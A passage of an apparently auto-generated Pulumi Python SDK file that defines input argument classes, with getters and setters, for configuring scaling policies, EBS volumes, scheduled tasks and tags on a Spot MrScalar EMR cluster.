"cooldown", cooldown) if dimensions is not None: pulumi.set(__self__, "dimensions", dimensions) if evaluation_periods is not None: pulumi.set(__self__, "evaluation_periods", evaluation_periods) if max_target_capacity is not None: pulumi.set(__self__, "max_target_capacity", max_target_capacity) if maximum is not None: pulumi.set(__self__, "maximum", maximum) if min_target_capacity is not None: pulumi.set(__self__, "min_target_capacity", min_target_capacity) if minimum is not None: pulumi.set(__self__, "minimum", minimum) if operator is not None: pulumi.set(__self__, "operator", operator) if period is not None: pulumi.set(__self__, "period", period) if statistic is not None: pulumi.set(__self__, "statistic", statistic) if target is not None: pulumi.set(__self__, "target", target) @property @pulumi.getter(name="metricName") def metric_name(self) -> pulumi.Input[str]: """ The name of the metric in CloudWatch which the statement will be based on. """ return pulumi.get(self, "metric_name") @metric_name.setter def metric_name(self, value: pulumi.Input[str]): pulumi.set(self, "metric_name", value) @property @pulumi.getter def namespace(self) -> pulumi.Input[str]: """ Must contain the value: `AWS/ElasticMapReduce`. """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: pulumi.Input[str]): pulumi.set(self, "namespace", value) @property @pulumi.getter(name="policyName") def policy_name(self) -> pulumi.Input[str]: """ The name of the policy. """ return pulumi.get(self, "policy_name") @policy_name.setter def policy_name(self, value: pulumi.Input[str]): pulumi.set(self, "policy_name", value) @property @pulumi.getter def threshold(self) -> pulumi.Input[float]: """ The value that the specified statistic is compared to. """ return pulumi.get(self, "threshold") @threshold.setter def threshold(self, value: pulumi.Input[float]): pulumi.set(self, "threshold", value) @property @pulumi.getter def unit(self) -> pulumi.Input[str]: """ The unit for a given metric. Valid Values: `seconds` | `microseconds` | `milliseconds` | `bytes` | `kilobytes` | `megabytes` | `gigabytes` | `terabytes` | `bits` | `kilobits` | `megabits` | `gigabits` | `terabits` | `percent` | `count` | `bytes/second` | `kilobytes/second` | `megabytes/second` | `gigabytes/second` | `terabytes/second` | `bits/second` | `kilobits/second` | `megabits/second` | `gigabits/second` | `terabits/second` | `count/second` | `none` """ return pulumi.get(self, "unit") @unit.setter def unit(self, value: pulumi.Input[str]): pulumi.set(self, "unit", value) @property @pulumi.getter(name="actionType") def action_type(self) -> Optional[pulumi.Input[str]]: """ The type of action to perform. Allowed values are : 'adjustment', 'setMinTarget', 'setMaxTarget', 'updateCapacity', 'percentageAdjustment' """ return pulumi.get(self, "action_type") @action_type.setter def action_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "action_type", value) @property @pulumi.getter def adjustment(self) -> Optional[pulumi.Input[str]]: """ The number of instances to add/remove to/from the target capacity when scale is needed. """ return pulumi.get(self, "adjustment") @adjustment.setter def adjustment(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "adjustment", value) @property @pulumi.getter def cooldown(self) -> Optional[pulumi.Input[int]]: """ The amount of time, in seconds, after a scaling activity completes and before the next scaling activity can start. """ return pulumi.get(self, "cooldown") @cooldown.setter def cooldown(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cooldown", value) @property @pulumi.getter def dimensions(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ A mapping of dimensions describing qualities of the metric. """ return pulumi.get(self, "dimensions") @dimensions.setter def dimensions(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "dimensions", value) @property @pulumi.getter(name="evaluationPeriods") def evaluation_periods(self) -> Optional[pulumi.Input[int]]: """ The number of periods over which data is compared to the specified threshold. """ return pulumi.get(self, "evaluation_periods") @evaluation_periods.setter def evaluation_periods(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "evaluation_periods", value) @property @pulumi.getter(name="maxTargetCapacity") def max_target_capacity(self) -> Optional[pulumi.Input[str]]: """ Max target capacity for scale down. """ return pulumi.get(self, "max_target_capacity") @max_target_capacity.setter def max_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_target_capacity", value) @property @pulumi.getter def maximum(self) -> Optional[pulumi.Input[str]]: """ The maximum to set when scale is needed. """ return pulumi.get(self, "maximum") @maximum.setter def maximum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "maximum", value) @property @pulumi.getter(name="minTargetCapacity") def min_target_capacity(self) -> Optional[pulumi.Input[str]]: """ Min target capacity for scale up. """ return pulumi.get(self, "min_target_capacity") @min_target_capacity.setter def min_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "min_target_capacity", value) @property @pulumi.getter def minimum(self) -> Optional[pulumi.Input[str]]: """ The minimum to set when scale is needed. """ return pulumi.get(self, "minimum") @minimum.setter def minimum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "minimum", value) @property @pulumi.getter def operator(self) -> Optional[pulumi.Input[str]]: """ The operator to use in order to determine if the policy is applicable. Valid values: `gt` | `gte` | `lt` | `lte` """ return pulumi.get(self, "operator") @operator.setter def operator(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "operator", value) @property @pulumi.getter def period(self) -> Optional[pulumi.Input[int]]: """ The time window in seconds over which the statistic is applied. """ return pulumi.get(self, "period") @period.setter def period(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "period", value) @property @pulumi.getter def statistic(self) -> Optional[pulumi.Input[str]]: """ The aggregation method of the given metric. Valid Values: `average` | `sum` | `sampleCount` | `maximum` | `minimum` """ return pulumi.get(self, "statistic") @statistic.setter def statistic(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "statistic", value) @property @pulumi.getter def target(self) -> Optional[pulumi.Input[str]]: """ The number of instances to set when scale is needed. """ return pulumi.get(self, "target") @target.setter def target(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "target", value) @pulumi.input_type class MrScalarCoreScalingUpPolicyArgs: def __init__(__self__, *, metric_name: pulumi.Input[str], namespace: pulumi.Input[str], policy_name: pulumi.Input[str], threshold: pulumi.Input[float], unit: pulumi.Input[str], action_type: Optional[pulumi.Input[str]] = None, adjustment: Optional[pulumi.Input[str]] = None, cooldown: Optional[pulumi.Input[int]] = None, dimensions: Optional[pulumi.Input[Mapping[str, Any]]] = None, evaluation_periods: Optional[pulumi.Input[int]] = None, max_target_capacity: Optional[pulumi.Input[str]] = None, maximum: Optional[pulumi.Input[str]] = None, min_target_capacity: Optional[pulumi.Input[str]] = None, minimum: Optional[pulumi.Input[str]] = None, operator: Optional[pulumi.Input[str]] = None, period: Optional[pulumi.Input[int]] = None, statistic: Optional[pulumi.Input[str]] = None, target: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] metric_name: The name of the metric in CloudWatch which the statement will be based on. :param pulumi.Input[str] namespace: Must contain the value: `AWS/ElasticMapReduce`. :param pulumi.Input[str] policy_name: The name of the policy. :param pulumi.Input[float] threshold: The value that the specified statistic is compared to. :param pulumi.Input[str] unit: The unit for a given metric. Valid Values: `seconds` | `microseconds` | `milliseconds` | `bytes` | `kilobytes` | `megabytes` | `gigabytes` | `terabytes` | `bits` | `kilobits` | `megabits` | `gigabits` | `terabits` | `percent` | `count` | `bytes/second` | `kilobytes/second` | `megabytes/second` | `gigabytes/second` | `terabytes/second` | `bits/second` | `kilobits/second` | `megabits/second` | `gigabits/second` | `terabits/second` | `count/second` | `none` :param pulumi.Input[str] action_type: The type of action to perform. Allowed values are : 'adjustment', 'setMinTarget', 'setMaxTarget', 'updateCapacity', 'percentageAdjustment' :param pulumi.Input[str] adjustment: The number of instances to add/remove to/from the target capacity when scale is needed. :param pulumi.Input[int] cooldown: The amount of time, in seconds, after a scaling activity completes and before the next scaling activity can start. :param pulumi.Input[Mapping[str, Any]] dimensions: A mapping of dimensions describing qualities of the metric. :param pulumi.Input[int] evaluation_periods: The number of periods over which data is compared to the specified threshold. :param pulumi.Input[str] max_target_capacity: Max target capacity for scale down. :param pulumi.Input[str] maximum: The maximum to set when scale is needed. :param pulumi.Input[str] min_target_capacity: Min target capacity for scale up. :param pulumi.Input[str] minimum: The minimum to set when scale is needed. :param pulumi.Input[str] operator: The operator to use in order to determine if the policy is applicable. Valid values: `gt` | `gte` | `lt` | `lte` :param pulumi.Input[int] period: The time window in seconds over which the statistic is applied. :param pulumi.Input[str] statistic: The aggregation method of the given metric. Valid Values: `average` | `sum` | `sampleCount` | `maximum` | `minimum` :param pulumi.Input[str] target: The number of instances to set when scale is needed. """ pulumi.set(__self__, "metric_name", metric_name) pulumi.set(__self__, "namespace", namespace) pulumi.set(__self__, "policy_name", policy_name) pulumi.set(__self__, "threshold", threshold) pulumi.set(__self__, "unit", unit) if action_type is not None: pulumi.set(__self__, "action_type", action_type) if adjustment is not None: pulumi.set(__self__, "adjustment", adjustment) if cooldown is not None: pulumi.set(__self__, "cooldown", cooldown) if dimensions is not None: pulumi.set(__self__, "dimensions", dimensions) if evaluation_periods is not None: pulumi.set(__self__, "evaluation_periods", evaluation_periods) if max_target_capacity is not None: pulumi.set(__self__, "max_target_capacity", max_target_capacity) if maximum is not None: pulumi.set(__self__, "maximum", maximum) if min_target_capacity is not None: pulumi.set(__self__, "min_target_capacity", min_target_capacity) if minimum is not None: pulumi.set(__self__, "minimum", minimum) if operator is not None: pulumi.set(__self__, "operator", operator) if period is not None: pulumi.set(__self__, "period", period) if statistic is not None: pulumi.set(__self__, "statistic", statistic) if target is not None: pulumi.set(__self__, "target", target) @property @pulumi.getter(name="metricName") def metric_name(self) -> pulumi.Input[str]: """ The name of the metric in CloudWatch which the statement will be based on. """ return pulumi.get(self, "metric_name") @metric_name.setter def metric_name(self, value: pulumi.Input[str]): pulumi.set(self, "metric_name", value) @property @pulumi.getter def namespace(self) -> pulumi.Input[str]: """ Must contain the value: `AWS/ElasticMapReduce`. """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: pulumi.Input[str]): pulumi.set(self, "namespace", value) @property @pulumi.getter(name="policyName") def policy_name(self) -> pulumi.Input[str]: """ The name of the policy. """ return pulumi.get(self, "policy_name") @policy_name.setter def policy_name(self, value: pulumi.Input[str]): pulumi.set(self, "policy_name", value) @property @pulumi.getter def threshold(self) -> pulumi.Input[float]: """ The value that the specified statistic is compared to. """ return pulumi.get(self, "threshold") @threshold.setter def threshold(self, value: pulumi.Input[float]): pulumi.set(self, "threshold", value) @property @pulumi.getter def unit(self) -> pulumi.Input[str]: """ The unit for a given metric. Valid Values: `seconds` | `microseconds` | `milliseconds` | `bytes` | `kilobytes` | `megabytes` | `gigabytes` | `terabytes` | `bits` | `kilobits` | `megabits` | `gigabits` | `terabits` | `percent` | `count` | `bytes/second` | `kilobytes/second` | `megabytes/second` | `gigabytes/second` | `terabytes/second` | `bits/second` | `kilobits/second` | `megabits/second` | `gigabits/second` | `terabits/second` | `count/second` | `none` """ return pulumi.get(self, "unit") @unit.setter def unit(self, value: pulumi.Input[str]): pulumi.set(self, "unit", value) @property @pulumi.getter(name="actionType") def action_type(self) -> Optional[pulumi.Input[str]]: """ The type of action to perform. Allowed values are : 'adjustment', 'setMinTarget', 'setMaxTarget', 'updateCapacity', 'percentageAdjustment' """ return pulumi.get(self, "action_type") @action_type.setter def action_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "action_type", value) @property @pulumi.getter def adjustment(self) -> Optional[pulumi.Input[str]]: """ The number of instances to add/remove to/from the target capacity when scale is needed. """ return pulumi.get(self, "adjustment") @adjustment.setter def adjustment(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "adjustment", value) @property @pulumi.getter def cooldown(self) -> Optional[pulumi.Input[int]]: """ The amount of time, in seconds, after a scaling activity completes and before the next scaling activity can start. """ return pulumi.get(self, "cooldown") @cooldown.setter def cooldown(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "cooldown", value) @property @pulumi.getter def dimensions(self) -> Optional[pulumi.Input[Mapping[str, Any]]]: """ A mapping of dimensions describing qualities of the metric. """ return pulumi.get(self, "dimensions") @dimensions.setter def dimensions(self, value: Optional[pulumi.Input[Mapping[str, Any]]]): pulumi.set(self, "dimensions", value) @property @pulumi.getter(name="evaluationPeriods") def evaluation_periods(self) -> Optional[pulumi.Input[int]]: """ The number of periods over which data is compared to the specified threshold. """ return pulumi.get(self, "evaluation_periods") @evaluation_periods.setter def evaluation_periods(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "evaluation_periods", value) @property @pulumi.getter(name="maxTargetCapacity") def max_target_capacity(self) -> Optional[pulumi.Input[str]]: """ Max target capacity for scale down. """ return pulumi.get(self, "max_target_capacity") @max_target_capacity.setter def max_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_target_capacity", value) @property @pulumi.getter def maximum(self) -> Optional[pulumi.Input[str]]: """ The maximum to set when scale is needed. """ return pulumi.get(self, "maximum") @maximum.setter def maximum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "maximum", value) @property @pulumi.getter(name="minTargetCapacity") def min_target_capacity(self) -> Optional[pulumi.Input[str]]: """ Min target capacity for scale up. """ return pulumi.get(self, "min_target_capacity") @min_target_capacity.setter def min_target_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "min_target_capacity", value) @property @pulumi.getter def minimum(self) -> Optional[pulumi.Input[str]]: """ The minimum to set when scale is needed. """ return pulumi.get(self, "minimum") @minimum.setter def minimum(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "minimum", value) @property @pulumi.getter def operator(self) -> Optional[pulumi.Input[str]]: """ The operator to use in order to determine if the policy is applicable. Valid values: `gt` | `gte` | `lt` | `lte` """ return pulumi.get(self, "operator") @operator.setter def operator(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "operator", value) @property @pulumi.getter def period(self) -> Optional[pulumi.Input[int]]: """ The time window in seconds over which the statistic is applied. """ return pulumi.get(self, "period") @period.setter def period(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "period", value) @property @pulumi.getter def statistic(self) -> Optional[pulumi.Input[str]]: """ The aggregation method of the given metric. Valid Values: `average` | `sum` | `sampleCount` | `maximum` | `minimum` """ return pulumi.get(self, "statistic") @statistic.setter def statistic(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "statistic", value) @property @pulumi.getter def target(self) -> Optional[pulumi.Input[str]]: """ The number of instances to set when scale is needed. """ return pulumi.get(self, "target") @target.setter def target(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "target", value) @pulumi.input_type class MrScalarInstanceWeightArgs: def __init__(__self__, *, instance_type: pulumi.Input[str], weighted_capacity: pulumi.Input[int]): """ :param pulumi.Input[str] instance_type: The type of the instance. :param pulumi.Input[int] weighted_capacity: The weight given to the associated instance type. """ pulumi.set(__self__, "instance_type", instance_type) pulumi.set(__self__, "weighted_capacity", weighted_capacity) @property @pulumi.getter(name="instanceType") def instance_type(self) -> pulumi.Input[str]: """ The type of the instance. """ return pulumi.get(self, "instance_type") @instance_type.setter def instance_type(self, value: pulumi.Input[str]): pulumi.set(self, "instance_type", value) @property @pulumi.getter(name="weightedCapacity") def weighted_capacity(self) -> pulumi.Input[int]: """ The weight given to the associated instance type. """ return pulumi.get(self, "weighted_capacity") @weighted_capacity.setter def weighted_capacity(self, value: pulumi.Input[int]): pulumi.set(self, "weighted_capacity", value) @pulumi.input_type class MrScalarMasterEbsBlockDeviceArgs: def __init__(__self__, *, size_in_gb: pulumi.Input[int], volume_type: pulumi.Input[str], iops: Optional[pulumi.Input[int]] = None, volumes_per_instance: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] size_in_gb: Size of the volume, in GBs. :param pulumi.Input[str] volume_type: volume type. Allowed values are 'gp2', 'io1' and others. :param pulumi.Input[int] iops: IOPS for the volume. Required in some volume types, such as io1. :param pulumi.Input[int] volumes_per_instance: Amount of volumes per instance in the master group. """ pulumi.set(__self__, "size_in_gb", size_in_gb) pulumi.set(__self__, "volume_type", volume_type) if iops is not None: pulumi.set(__self__, "iops", iops) if volumes_per_instance is not None: pulumi.set(__self__, "volumes_per_instance", volumes_per_instance) @property @pulumi.getter(name="sizeInGb") def size_in_gb(self) -> pulumi.Input[int]: """ Size of the volume, in GBs. """ return pulumi.get(self, "size_in_gb") @size_in_gb.setter def size_in_gb(self, value: pulumi.Input[int]): pulumi.set(self, "size_in_gb", value) @property @pulumi.getter(name="volumeType") def volume_type(self) -> pulumi.Input[str]: """ volume type. Allowed values are 'gp2', 'io1' and others. """ return pulumi.get(self, "volume_type") @volume_type.setter def volume_type(self, value: pulumi.Input[str]): pulumi.set(self, "volume_type", value) @property @pulumi.getter def iops(self) -> Optional[pulumi.Input[int]]: """ IOPS for the volume. Required in some volume types, such as io1. """ return pulumi.get(self, "iops") @iops.setter def iops(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "iops", value) @property @pulumi.getter(name="volumesPerInstance") def volumes_per_instance(self) -> Optional[pulumi.Input[int]]: """ Amount of volumes per instance in the master group. """ return pulumi.get(self, "volumes_per_instance") @volumes_per_instance.setter def volumes_per_instance(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "volumes_per_instance", value) @pulumi.input_type class MrScalarProvisioningTimeoutArgs: def __init__(__self__, *, timeout: pulumi.Input[int], timeout_action: pulumi.Input[str]): """ :param pulumi.Input[int] timeout: The amount of time (minutes) after which the cluster is automatically terminated if it's still in provisioning status. Minimum: '15'. :param pulumi.Input[str] timeout_action: The action to take if the timeout is exceeded. Valid values: `terminate`, `terminateAndRetry`. """ pulumi.set(__self__, "timeout", timeout) pulumi.set(__self__, "timeout_action", timeout_action) @property @pulumi.getter def timeout(self) -> pulumi.Input[int]: """ The amount of time (minutes) after which the cluster is automatically terminated if it's still in provisioning status. Minimum: '15'. """ return pulumi.get(self, "timeout") @timeout.setter def timeout(self, value: pulumi.Input[int]): pulumi.set(self, "timeout", value) @property @pulumi.getter(name="timeoutAction") def timeout_action(self) -> pulumi.Input[str]: """ The action to take if the timeout is exceeded. Valid values: `terminate`, `terminateAndRetry`. """ return pulumi.get(self, "timeout_action") @timeout_action.setter def timeout_action(self, value: pulumi.Input[str]): pulumi.set(self, "timeout_action", value) @pulumi.input_type class MrScalarScheduledTaskArgs: def __init__(__self__, *, cron: pulumi.Input[str], instance_group_type: pulumi.Input[str], task_type: pulumi.Input[str], desired_capacity: Optional[pulumi.Input[str]] = None, is_enabled: Optional[pulumi.Input[bool]] = None, max_capacity: Optional[pulumi.Input[str]] = None, min_capacity: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] cron: A cron expression representing the schedule for the task. :param pulumi.Input[str] instance_group_type: Select the EMR instance groups to execute the scheduled task on. Valid values: `task`. :param pulumi.Input[str] task_type: The type of task to be scheduled. Valid values: `setCapacity`. :param pulumi.Input[str] desired_capacity: New desired capacity for the elastigroup. :param pulumi.Input[bool] is_enabled: Enable/Disable the specified scheduling task. :param pulumi.Input[str] max_capacity: New max capacity for the elastigroup. :param pulumi.Input[str] min_capacity: New min capacity for the elastigroup. """ pulumi.set(__self__, "cron", cron) pulumi.set(__self__, "instance_group_type", instance_group_type) pulumi.set(__self__, "task_type", task_type) if desired_capacity is not None: pulumi.set(__self__, "desired_capacity", desired_capacity) if is_enabled is not None: pulumi.set(__self__, "is_enabled", is_enabled) if max_capacity is not None: pulumi.set(__self__, "max_capacity", max_capacity) if min_capacity is not None: pulumi.set(__self__, "min_capacity", min_capacity) @property @pulumi.getter def cron(self) -> pulumi.Input[str]: """ A cron expression representing the schedule for the task. """ return pulumi.get(self, "cron") @cron.setter def cron(self, value: pulumi.Input[str]): pulumi.set(self, "cron", value) @property @pulumi.getter(name="instanceGroupType") def instance_group_type(self) -> pulumi.Input[str]: """ Select the EMR instance groups to execute the scheduled task on. Valid values: `task`. """ return pulumi.get(self, "instance_group_type") @instance_group_type.setter def instance_group_type(self, value: pulumi.Input[str]): pulumi.set(self, "instance_group_type", value) @property @pulumi.getter(name="taskType") def task_type(self) -> pulumi.Input[str]: """ The type of task to be scheduled. Valid values: `setCapacity`. """ return pulumi.get(self, "task_type") @task_type.setter def task_type(self, value: pulumi.Input[str]): pulumi.set(self, "task_type", value) @property @pulumi.getter(name="desiredCapacity") def desired_capacity(self) -> Optional[pulumi.Input[str]]: """ New desired capacity for the elastigroup. """ return pulumi.get(self, "desired_capacity") @desired_capacity.setter def desired_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "desired_capacity", value) @property @pulumi.getter(name="isEnabled") def is_enabled(self) -> Optional[pulumi.Input[bool]]: """ Enable/Disable the specified scheduling task. """ return pulumi.get(self, "is_enabled") @is_enabled.setter def is_enabled(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "is_enabled", value) @property @pulumi.getter(name="maxCapacity") def max_capacity(self) -> Optional[pulumi.Input[str]]: """ New max capacity for the elastigroup. """ return pulumi.get(self, "max_capacity") @max_capacity.setter def max_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "max_capacity", value) @property @pulumi.getter(name="minCapacity") def min_capacity(self) -> Optional[pulumi.Input[str]]: """ New min capacity for the elastigroup. """ return pulumi.get(self, "min_capacity") @min_capacity.setter def min_capacity(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "min_capacity", value) @pulumi.input_type class MrScalarStepsFileArgs: def __init__(__self__, *, bucket: pulumi.Input[str], key: pulumi.Input[str]): """ :param pulumi.Input[str] bucket: S3 Bucket name for bootstrap actions. :param pulumi.Input[str] key: S3 key for bootstrap actions. """ pulumi.set(__self__, "bucket", bucket) pulumi.set(__self__, "key", key) @property @pulumi.getter def bucket(self) -> pulumi.Input[str]: """ S3 Bucket name for bootstrap actions. """ return pulumi.get(self, "bucket") @bucket.setter def bucket(self, value: pulumi.Input[str]): pulumi.set(self, "bucket", value) @property @pulumi.getter def key(self) -> pulumi.Input[str]: """ S3 key for bootstrap actions. """ return pulumi.get(self, "key") @key.setter def key(self, value: pulumi.Input[str]): pulumi.set(self, "key", value) @pulumi.input_type class MrScalarTagArgs: def __init__(__self__, *, key: pulumi.Input[str], value: pulumi.Input[str]): """ :param pulumi.Input[str] key: S3 key for bootstrap actions. :param pulumi.Input[str] value: Tag value. """ pulumi.set(__self__, "key", key) pulumi.set(__self__, "value", value) @property @pulumi.getter def key(self) -> pulumi.Input[str]: """ S3 key for bootstrap actions. """ return pulumi.get(self, "key") @key.setter def key(self, value: pulumi.Input[str]): pulumi.set(self, "key", value) @property @pulumi.getter def value(self) -> pulumi.Input[str]: """ Tag value. """ return pulumi.get(self, "value") @value.setter def value(self, value: pulumi.Input[str]): pulumi.set(self, "value", value) @pulumi.input_type class MrScalarTaskEbsBlockDeviceArgs: def __init__(__self__, *, size_in_gb: pulumi.Input[int], volume_type: pulumi.Input[str], iops: Optional[pulumi.Input[int]] = None, volumes_per_instance: Optional[pulumi.Input[int]] = None): """ :param pulumi.Input[int] size_in_gb: Size of the volume, in GBs. :param pulumi.Input[str] volume_type: volume type. Allowed values are 'gp2', 'io1' and others. :param pulumi.Input[int] iops: IOPS for the volume. Required in some volume types, such as io1. :param pulumi.Input[int] volumes_per_instance: Amount of volumes per instance in the master group. """ pulumi.set(__self__, "size_in_gb", size_in_gb) pulumi.set(__self__, "volume_type", volume_type) if iops is not None: pulumi.set(__self__, "iops", iops) if volumes_per_instance is not None: pulumi.set(__self__, "volumes_per_instance", volumes_per_instance) @property @pulumi.getter(name="sizeInGb") def size_in_gb(self) -> pulumi.Input[int]: """ Size of the volume, in GBs. """ return pulumi.get(self, "size_in_gb") @size_in_gb.setter def size_in_gb(self, value: pulumi.Input[int]): pulumi.set(self, "size_in_gb", value) @property @pulumi.getter(name="volumeType") def volume_type(self) -> pulumi.Input[str]: """ volume type. Allowed values are 'gp2', 'io1' and others. """ return pulumi.get(self, "volume_type") @volume_type.setter def volume_type(self, value: pulumi.Input[str]): pulumi.set(self, "volume_type", value) @property @pulumi.getter def iops(self) -> Optional[pulumi.Input[int]]: """ IOPS for the volume. Required in some volume types, such as io1. """ return pulumi.get(self, "iops") @iops.setter def iops(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "iops", value) @property @pulumi.getter(name="volumesPerInstance") def volumes_per_instance(self) -> Optional[pulumi.Input[int]]: """ Amount of volumes per instance in the master group. """ return pulumi.get(self, "volumes_per_instance") @volumes_per_instance.setter def volumes_per_instance(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "volumes_per_instance", value) @pulumi.input_type class MrScalarTaskScalingDownPolicyArgs: def __init__(__self__, *, metric_name: pulumi.Input[str], namespace: pulumi.Input[str], policy_name: pulumi.Input[str], threshold: pulumi.Input[float], unit: pulumi.Input[str], action_type: Optional[pulumi.Input[str]] = None, adjustment: Optional[pulumi.Input[str]] = None, cooldown: Optional[pulumi.Input[int]] = None, dimensions: Optional[pulumi.Input[Mapping[str, Any]]] = None, evaluation_periods: Optional[pulumi.Input[int]] = None, max_target_capacity: Optional[pulumi.Input[str]] = None, maximum: Optional[pulumi.Input[str]] = None, min_target_capacity: Optional[pulumi.Input[str]] = None, minimum: Optional[pulumi.Input[str]] = None, operator: Optional[pulumi.Input[str]] = None, period: Optional[pulumi.Input[int]] = None, statistic: Optional[pulumi.Input[str]] = None, target: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] metric_name: The name of the metric in CloudWatch which the statement will be based on. :param pulumi.Input[str] namespace: Must contain the value: `AWS/ElasticMapReduce`. :param pulumi.Input[str] policy_name: The name of the policy. :param pulumi.Input[float] threshold: The value that the specified statistic is compared to. :param pulumi.Input[str] unit: The unit for a given metric. Valid Values: `seconds` | `microseconds` | `milliseconds` | `bytes` | `kilobytes` | `megabytes` | `gigabytes` | `terabytes` | `bits` | `kilobits` | `megabits` | `gigabits` | `terabits` | `percent` | `count` | `bytes/second` | `kilobytes/second` | `megabytes/second` | `gigabytes/second` | `terabytes/second` | `bits/second` | `kilobits/second` | `megabits/second` | `gigabits/second` | `terabits/second` | `count/second` | `none` :param pulumi.Input[str] action_type: The type of action to perform. Allowed values are : 'adjustment', 'setMinTarget', 'setMaxTarget', 'updateCapacity', 'percentageAdjustment' :param pulumi.Input[str] adjustment: The number of instances to add/remove to/from the target capacity when scale is needed. :param pulumi.Input[int] cooldown: The amount of time, in seconds, after a scaling activity completes and before the next scaling activity can start. :param pulumi.Input[Mapping[str, Any]] dimensions: A mapping of dimensions describing qualities of the metric. :param pulumi.Input[int] evaluation_periods: The number of periods over which data is compared to the specified threshold. :param pulumi.Input[str] max_target_capacity: Max target capacity for scale down. :param pulumi.Input[str] maximum: The maximum to set when scale is needed. :param pulumi.Input[str] min_target_capacity: Min target capacity for scale up. :param pulumi.Input[str] minimum: The minimum to set when scale is needed. :param pulumi.Input[str] operator: The operator to use in order to determine if the policy is applicable. Valid values: `gt` | `gte` | `lt` | `lte` :param pulumi.Input[int] period: The time window in seconds over which the statistic is applied. :param pulumi.Input[str] statistic: The aggregation method of the given metric. Valid Values: `average` | `sum` | `sampleCount` | `maximum` | `minimum` :param pulumi.Input[str] target: The number of instances to set when scale is needed. """ pulumi.set(__self__, "metric_name", metric_name) pulumi.set(__self__, "namespace", namespace) pulumi.set(__self__, "policy_name", policy_name) pulumi.set(__self__, "threshold", threshold) pulumi.set(__self__, "unit", unit) if action_type is not None: pulumi.set(__self__, "action_type", action_type) if adjustment is not None: pulumi.set(__self__, "adjustment", adjustment) if cooldown is not None: pulumi.set(__self__, "cooldown", cooldown) if dimensions is not None: pulumi.set(__self__, "dimensions", dimensions) if evaluation_periods is not None: pulumi.set(__self__, "evaluation_periods", evaluation_periods) if max_target_capacity is not None: pulumi.set(__self__, "max_target_capacity", max_target_capacity) if maximum is not None: pulumi.set(__self__, "maximum", maximum) if min_target_capacity is not None: pulumi.set(__self__, "min_target_capacity", min_target_capacity) if minimum is not None: pulumi.set(__self__, "minimum", minimum) if operator is not None: pulumi.set(__self__, "operator", operator) if period is not None: pulumi.set(__self__, "period", period) if statistic is not None: pulumi.set(__self__, "statistic", statistic) if target is not None: pulumi.set(__self__, "target", target) @property @pulumi.getter(name="metricName") def metric_name(self) -> pulumi.Input[str]: """ The name of the metric in CloudWatch which the statement will be based on. """ return pulumi.get(self, "metric_name") @metric_name.setter def metric_name(self, value: pulumi.Input[str]): pulumi.set(self, "metric_name", value) @property @pulumi.getter def namespace(self) -> pulumi.Input[str]: """ Must contain the value: `AWS/ElasticMapReduce`. """ return pulumi.get(self, "namespace") @namespace.setter def namespace(self, value: pulumi.Input[str]): pulumi.set(self, "namespace", value) @property @pulumi.getter(name="policyName") def policy_name(self) -> pulumi.Input[str]: """ The name of the policy. """ return pulumi.get(self, "policy_name") @policy_name.setter def policy_name(self, value: pulumi.Input[str]): pulumi.set(self, "policy_name", value) @property @pulumi.getter def threshold(self) -> pulumi.Input[float]: """ The value that the specified statistic is compared to. """ return pulumi.get(self, "threshold") @threshold.setter def threshold(self, value: pulumi.Input[float]): pulumi.set(self, "threshold", value) @property @pulumi.getter def unit(self) -> pulumi.Input[str]: """ The unit for a given metric. Valid Values: `seconds` | `microseconds` | `milliseconds` | `bytes` | `kilobytes` | `megabytes` | `gigabytes` | `terabytes` | `bits` | `kilobits` | `megabits` | `gigabits` | `terabits` | `percent` | `count` | `bytes/second` | `kilobytes/second` | `megabytes/second` | `gigabytes/second` | `terabytes/second` | `bits/second` | `kilobits/second` | `megabits/second` | `gigabits/second` | `terabits/second` | `count/second` | `none` """ return pulumi.get(self, "unit") @unit.setter def unit(self, value: pulumi.Input[str]): pulumi.set(self, "unit", value) @property @pulumi.getter(name="actionType") def action_type(self) -> Optional[pulumi.Input[str]]: """ The type of action to perform. Allowed values are : 'adjustment', 'setMinTarget', 'setMaxTarget', 'updateCapacity', 'percentageAdjustment' """ return pulumi.get(self, "action_type") @action_type.setter def action_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "action_type", value) @property @pulumi.getter def adjustment(self) -> Optional[pulumi.Input[str]]: """ The number of instances to add/remove to/from the target 